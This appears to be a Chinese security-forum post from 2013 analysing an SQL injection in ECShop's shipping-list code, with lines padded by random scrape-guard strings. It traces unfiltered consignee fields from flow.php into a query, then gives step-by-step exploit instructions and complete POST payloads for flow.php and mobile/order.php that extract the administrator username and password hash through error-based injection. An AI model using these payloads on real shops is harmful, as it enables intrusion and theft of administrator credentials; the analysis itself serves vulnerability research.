找回密码
 立即注册
查看: 2848|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。4 O9 l  {, x4 o- h. h) o

5 o+ Q& J' Y) g    漏洞关键文件:
6 _' S6 y4 l5 ?1 l9 B; f3 n8 |7 H4 R" S- T/ C% p3 @# v8 B
    /includes/lib_order.php) @  c) y  t2 s

1 K2 t* x% G. R0 P7 h* v    关键函数:
  n7 E# T6 x/ m  T; t5 `+ N3 N$ Q- ~8 Y/ I6 i) Q1 t
( F5 d/ k: q1 e' ?
0 l' }5 D( b( m- M" I
01     function available_shipping_list($region_id_list)
1 h) t# w" a1 {5 r6 |/ M
: F6 c! E8 }' M  u- [- b5 `$ B) E02 { ( G' e& K. A7 y9 [/ @

+ e0 V6 n! z5 `) A* D) B03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
5 M8 N- C; g' R! x4 [8 ^: \, T' F, F4 i3 R$ W- o$ U# b! o) m
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . ( W4 o5 {" Q; H1 e- B6 ^
4 T5 _+ I. M4 `3 e  }' R+ j
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
& Q# N1 a6 [* }( v, f: Q& N/ Z& `# x' M! j, z  N
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . 4 E( \3 w3 |, P) a3 G- x
$ z3 }9 _, T  a. ]6 E' }
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.   u/ @' W7 F- N1 K' E

# j; f8 i6 E: s08             'WHERE r.region_id ' . db_create_in($region_id_list) .
" j3 N, _* T" y* p9 _' S2 M3 G3 e, `$ _# q
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; ! Z5 S% Y* x7 o. h  E

/ B& }5 M, @+ V9 m+ Q10   
; h" v' [5 w! {& _9 d
9 I. ~0 G" d& |11     return $GLOBALS['db']->getAll($sql); 3 R( [6 M  Y) e7 e( V  C$ U
- I6 J# l: o( R( V9 ?
12 }
4 y9 _& a/ t4 j5 P; k2 }  O" n, {
显然对传入的参数没有任何过滤就带入了查询语句。
$ f1 J8 U" p; s0 ^ + `8 v. Q, x( K0 u' q
下面我们追踪这个函数在flow.php中:
% J) R  |2 g/ | 第531行:   
. p# g) b! b) r# Z2 L* a2 |8 [% l7 S; [5 Y  F- U4 F/ Z
1 $shipping_list     = available_shipping_list($region); * }" N  [- O* r$ h

2 O7 M( A% F( y0 c
' n6 J' \& H( C* k' m! @* F! A
% P( s# H8 e* j9 a ) t8 ]" u. ~* m1 E2 h
0 u( p) V, v/ j
再对传入变量进行追踪:+ s0 }7 W# D9 N) A( S7 ~: x
5 V/ J) j/ x5 b. m6 S
第530行:    ; w$ ^* f+ V7 ^1 }5 E3 k
* y+ x8 Z2 d3 X7 u
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); & [1 I8 H1 C* \! x! D4 R* n* d1 S& F
: I1 ~% X- S6 f& {. H1 p* K

! W3 [, N+ [( Q0 {% i
4 K+ ^3 H/ M7 g# B% i4 \. ~  H
& I, [0 a+ k2 }# U
( S, A# U( j4 S4 q5 e" Z' ?第473行:        
+ R# t% O, C1 N  |- q" s  d3 p$ X+ t- q9 Z1 m
1 $consignee = get_consignee($_SESSION['user_id']);
* |+ C6 I2 M: I* w- H! c$ [, b0 P+ Y$ J6 {( H
到了一个关键函数:. z4 Y% Q% d0 q$ i! f. z
6 U) c8 Q2 A8 ?! S
/includes/lib_order.php. Z6 B* f* N; ?" z
( n( L3 d% @6 t( ]; t, l& u

5 q' @2 c4 s5 H: o
% H% J, [! o2 K7 {4 b
4 u  |+ o0 S& v" q% u4 s7 W- \; Y9 @" j) p6 K8 A0 }
01 function get_consignee($user_id) 5 H. v7 C4 M+ w) a' c5 x
3 L5 w  S% A7 S; J
02 { 7 }. z- V/ [( Y/ K0 N5 h
2 m  A; H- i4 S2 Q: z4 L- K
03     if (isset($_SESSION['flow_consignee'])) - ~" ]1 F! m4 S, ~- G
1 X( L7 Z2 M0 d) k+ K8 R
04     { ) b# z1 U7 k) F$ x! b9 T1 h) a/ S
  {( s+ ^; E1 ]# m  ~* ]
05         /* 如果存在session,则直接返回session中的收货人信息 */ ' U* \5 x- e' p) l0 ?6 Y- r" R
5 k( A0 [3 }" @$ J1 d! G5 \) Q
06   
, a% n; N" d& {1 t" W* h3 i7 K$ Z9 w* e9 X5 x  C3 c1 {
07         return $_SESSION['flow_consignee'];
& l6 N' W* H1 Q) Z" i8 O& B! f: u; f
08     } ! W6 P" j5 n: C# a

8 w0 b1 F8 X% B2 J09     else + e$ h2 [$ ]/ U* ^# S

. \  q  z/ j  A6 r10     {
# p" X, Z1 f; i' X
! P6 ?0 a3 _1 j/ o$ n11         /* 如果不存在,则取得用户的默认收货人信息 */ ) V. O' ^& i  c

4 G: Y8 x( `- K% H! l1 M12         $arr = array();
% H. b4 _% q$ Y$ ^. p
- L$ u( r/ \0 M8 K7 D0 v13   ( M+ o$ v, A: _0 }. _# g- |/ h. J

# [6 r# N' H. X* W6 Y& [7 G" ]14         if ($user_id > 0)
/ T7 q/ u' t* U; D3 F+ i3 V4 v1 S7 v7 A6 H" g
15         { 8 i1 I! t3 d6 ?3 }2 N3 W) T
8 ?+ w, p2 `' n6 y9 i0 N
16             /* 取默认地址 */   X& ]* _3 m$ g8 k+ u7 z0 ]

' S" l' b5 A, ?0 C5 t17             $sql = "SELECT ua.*".
0 p2 b* B; Y; |8 ^( J( |6 x- V3 M! C# R7 y$ d7 ^- Q# g
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 9 X" d; W  g6 z3 c' N

( J$ `5 @* b# x& K19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; . h$ u* c/ g; s: T9 W

. b. a/ Z! P* G* i6 i20   6 L1 U. z+ y  m0 e* k. q$ b. |

' s: e- I6 i" A& U0 s21             $arr = $GLOBALS['db']->getRow($sql); $ z# g: ]& K; Y  W. x5 }

/ e4 H+ s; r3 j4 B22         }
/ Y! d4 K5 q: ]9 k9 V7 x) y5 g! V
  `4 j$ S2 w8 J2 ^/ H! m9 W23   ; L8 f# m+ ?# @3 o4 J
: Z& T0 ?$ }- v- o' c# f
24         return $arr;
% f5 T8 u: x* j$ x9 {# d  ~0 l; R
25     }
. K' C% l; p' t1 o+ A2 v. `: |) X) i( W; U! t
26 }
' D5 k* o( I* P2 x# r$ Y: i+ I1 B( Z* i# \% [4 A
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?3 R9 b; s0 V; Z& z/ {
: L, K, X4 M( b5 n! R) `
( `+ S/ M$ y3 c/ ^" H3 Z

. U$ Y* P+ ?+ Q/ @6 _关键点:
/ N0 W- W) _6 Y1 b0 _, S, T
  M* O( g& e6 x  W! j, P( Y第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);, N% z" f. O4 A3 E
6 G. U4 A6 u# y
这里对传入参数反转义存入$_SESSION中。
: C$ I+ [0 v6 h) {, ~# {4 {- |3 `* g2 f
! b1 [. \. M4 Z

% G" L: e: Z/ W" A+ |然后看下:/ l7 h, ]2 j* n2 L- ?, c, ~) _5 z
$ |$ g$ X' u$ n0 f

* {6 _% G* j; X" E5 T% ]4 W0 M1 ~9 n4 C" q& F
   
2 g+ z! ~/ a( \9 i6 u- ^# Q
8 w% d0 C2 F* ^1 H0 T7 }% ^01 $consignee = array(
* T2 E7 x* ^; Z9 n9 K, m% T' o; ]1 I
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
4 Y4 s5 ~0 u0 q/ }' }
$ r5 Z6 W) X6 |7 p3 k5 Z03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
5 j+ k  ^" m  W
  {5 |9 K# F' l1 z: C& j7 f04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
2 y! b+ R; I) M4 ?9 K; m
4 P5 {. s4 \1 A, t4 u# \05         'province'      => empty($_POST['province'])   ? '' _POST['province'], " }% M8 I( c  n6 Q4 v% `" m% ?

0 o  ^* z/ E4 n06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
, _& z- G, a# ]3 s8 |7 [) _0 x5 x5 \
07         'district'      => empty($_POST['district'])   ? '' _POST['district'], / a8 e- P5 x- [9 g( v+ m. ?

3 F: b) T. U/ b9 h9 @) b! {08         'email'         => empty($_POST['email'])      ? '' _POST['email'], ! Z2 X1 V& o3 t/ I5 f6 r. k' Q
8 v& ?( N6 R) n2 {2 b
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
" m: a) X0 c2 Q# g+ Y( L2 N$ P5 }& R  a; s9 c8 ^
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), & i8 J  s' q1 ^1 G
4 v" u, r6 Y4 z8 P5 u# w/ ?
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), 3 x6 S. |) K/ ]& _$ `! O: X  C
. ?4 B8 |# G* i# ?+ K
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), / R# \. L" n2 b9 z- P2 E

9 p+ B8 f# g0 q! ~13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], ( D, B' N" }' y: B

, K0 \' ^# z" T5 G3 |! O" W14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], # k& m: @" Z  o& g! E, n" A

+ @4 [5 P4 i/ x) F6 l- C; o15     );
, }9 C+ _7 B1 m& |& d0 b- H: |# w7 X# k  w1 ]2 U% Y/ H5 x
好了注入就这样出现了。
4 z7 c0 Z9 g4 s$ h. W8 n! m% t+ w3 m7 o5 _4 U! o
==================: s" D+ o+ T/ o: ?) G1 G

+ e. A1 _  _! b% g* F注入测试:( p  z  |/ F8 w* d$ {' A! W

) d$ T' w- }% w4 }1 ~$ F) Z6 X4 _环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)% }4 |- T, |+ i) i" ^' u+ i

$ I; ~8 u9 A! |% T5 q测试程序:ECShop_V2.7.3_UTF8_release1106
$ C0 i5 o" x% x$ t
4 }1 D+ x) Z* |1 z6 S5 w
2 I# w6 V$ c0 N" U6 t7 L% s8 V) j: N+ P9 S$ ?, J
1.首先需要点击一个商品加入购物车
, w4 x$ I: R3 R7 o% `
5 J$ C- A' i8 y! v: I2.注册一个会员帐号
7 G- f% c  y1 I% J9 P) m- u& A+ v& a" W* d% R. ^& k, @7 p
3.post提交数据0 A) x& }5 T, a8 }" Q( |# v

' \' U( @" P) J
' F$ W5 e2 O0 G% @1 N) U/ H" M- o% [$ u& l1 F% a) i- W( A
1 http://127.0.0.1/ecshop/flow.php
. c. J1 n, V! m& w  Z6 u% I# J$ U6 m, _7 h7 }9 P
2   % D- K# J) v  O" V$ Z5 ^0 W

) Y" s& L: T# f5 n* z3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
8 N$ L2 O3 s, @# |  R6 Z: Q! L% ~举一反三,我们根据这个漏洞我们可以继续深入挖掘:
; i. O2 v0 u/ ?( h& ]+ {( }) C2 ]! }: i
我们搜寻关键函数function available_shipping_list()0 D5 K( a7 q0 Q
% C. Q" ?' n* A3 N/ A) K0 D2 p. U
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
0 W: Z5 h/ X& l# G& _
5 t/ B7 y( l, g. ?2 t5 z0 i利用exp:* {, }5 H8 A! A# Z2 Y( C

3 \0 G  R- K5 e7 M; G  C$ p1.点击一个商品,点击购买商标) l2 v* E2 p" D5 J7 P8 _- r% @5 @
9 v3 K6 Y+ Q; T2 L2 F0 b
2.登录会员帐号
! y) U+ d% L! {* g  X1 U5 X# |, T) p5 \6 Q1 _2 ^
3.post提交:' R6 ~3 Y& `2 d" k5 n0 w
$ m& L2 u. I, ~& \# H1 i
http://127.0.0.1/ecshop/mobile/order.php
& B! E! u$ J$ `7 A1 k. Y) t. A6 a$ K) \. Q3 ~
6 }4 t3 f; x1 e5 }& t5 o
' |. w# V4 G" j) d; S
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=8 x, a, ]  {/ b! e% w
' v/ c# C% W/ O4 b/ x0 l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表